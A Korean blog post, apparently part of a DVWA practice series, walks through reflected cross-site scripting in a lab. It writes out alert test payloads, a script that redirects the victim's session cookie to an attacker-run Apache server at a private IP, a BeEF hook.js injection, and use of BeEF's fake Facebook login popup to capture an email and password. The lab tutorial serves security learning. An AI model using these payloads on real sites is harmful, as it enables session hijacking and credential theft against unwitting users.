Reflected Cross Site Scripting (XSS)
리플렉티드 크로스 사이트 스크립팅 취약점은 요청 메시지에 입력된 스크립트 코드가 즉시 응답메시지를 통해 출력되는 취약점이다.
BeEF 공격 프레임워크는 웹 브라우저 기반의 침투 프레임워크로 게시판에 스크립트를 삽입해서 특정한 행동을 취하게 하는 공격 기법인 XSS 공격 모듈을 만드는데 특화된 툴이다.
[Webhacking] BeEf 를 이용한 XSS 취약점 공격
The Brower Exploitation Framework - 웹 브라우저 기반의 공격 BeEF는 웹 브라우저를 공격하기 위한 여러 공격 모듈이 포함된 공격 테스트 프레임워크이다. 게시판에 스크립트를 삽입해서 특정한 행동을
haerinn.tistory.com
위 사이트를 참고하였다.
Reflected Cross Site Scripting 실습
이 페이지에서 이름을 물어본다.
이름란에 admin이라는 이름을 입력해 보겠다.
입력란에 admin을 입력하면 hello admin을 출력해 준다.
위와같이 우리가 입력한 값을 그대로 출력하는 경우 리플렉티드 크로스 사이트 스크립팅 취약점이 존재할 가능성이 높다.
취약점이 존재하는지 확인하기 위해 입력란에 스크립트 태그를 입력한다.
<script>alert(1)</script>
alert()라는 자바스크립트 함수를 통해 1이라는 값이 실행되었다.
입력된 스크립트가 실행되었으므로 리플렉티드 크로스 사이트 스크립팅 취약점이 존재한다는 것을 알 수 있다.
<script>alert(document.cookie)</script>
위와 같은 코드를 입력하여 쿠키를 출력할 수도 있다.
이번에는 세션쿠키를 공격자의 호스트로 전달해 보겠다.
service apache2 start
공격자의 호스트에서 아파치 웹 서버를 실행한다.
우리가 사용할 주소는 192.168.109.129이다.
웹 서버가 제대로 작동하는지 firefox에서 해당 아이피 주소를 입력해 보겠다.
그림 6과 같이 웹 페이지가 제대로 표시되어 아파치 서버가 정상적으로 잘 작동하는 것을 알 수 있다.
다음으로 로그 파일을 모니터링하기 위해, 터미널에서 다음 명령어를 실행한다.
tail -f /var/log/apache2/access.log
이제 DVWA 페이지에서 다음 스크립트를 입력한다.
<script>document.location='http://192.168.109.129/cookie?'+document.cookie</script>
document.location을 이용하여 지정한 위치로 리다이렉트 시켰고 쿠키를 전달시켰다.
그림 8과 같이 쿠키가 탈취된것을 확인할 수 있다.
BeEF 공격 프레임워크 사용
리플렉티드 크로스 사이트 스크립팅 취약점으로 후킹 코드를 실행시켜 비프 프로그램으로 추가 공격을 실행해 보겠다.
beef를 설치하고 실행하였다.
beef의 id와 password는 기본값인 beef로 되어있다. 하지만 비밀번호를 바꾸라고해서 root로 바꿨다.
온라인 브라우저와 오프라인 브라우저가 있다.
처음에는 폴더 아래에 아무 항목도 표시되지 않지만, 후크 스크립트가 실행된 웹 브라우저가 있으면 온라인 브라우저에 표시된다.
아래 코드를 입력하겠다.
<script src="http://127.0.0.1:3000/hook.js"></script>
submit 버튼을 누르고 나면 비프 인터페이스의 온라인 브라우저 폴더 아래에 항목이 하나 추가된다.
후크 스크립트를 실행한 호스트가 표시된다.
쿠키는 물론이고, 어디서 후킹되었는지와 같은 페이지 정보와 각종 호스트 정보를 확인할 수 있다.
커맨드 탭에서 해당 호스트에 대해 추가로 공격을 할 수 있다.
소셜 엔지니어링 폴더 아래에 있는 프리티 쎄프트라는 기능을 이용해 공격을 진행해 보겠다.
이 기능은 유명 SNS사이트의 인터페이스를 모방하여, 사용자로 하여금 해당 SNS 사이트의 아이디와 패스워드를 유도하는 기능이다.
execute를 누르면 그림 15와 같은 창을 띄운다.
팝업창에는 페이스북을 오랫동안 사용하지 않아서 세션이 종료되었다는 메시지가 표시된다.
이메일과 패스워드를 입력해 보겠다.
입력한 이메일주소와 비밀번호를 탈취에 성공하였다.
'WEB hacking > DVWA' 카테고리의 다른 글
[DVWA] - Stored Cross Site Scripting (XSS) Low 단계 (0) | 2022.10.13 |
---|---|
[DVWA] - Insecure CAPTCHA 설정 (0) | 2022.10.12 |
[DVWA] - Command Injection Low 단계 (0) | 2022.10.10 |
[DVWA] - SQL Injection(Blind) Low 단계 (0) | 2022.10.09 |
[DVWA] - SQL Injection Low 단계 (4) | 2022.10.08 |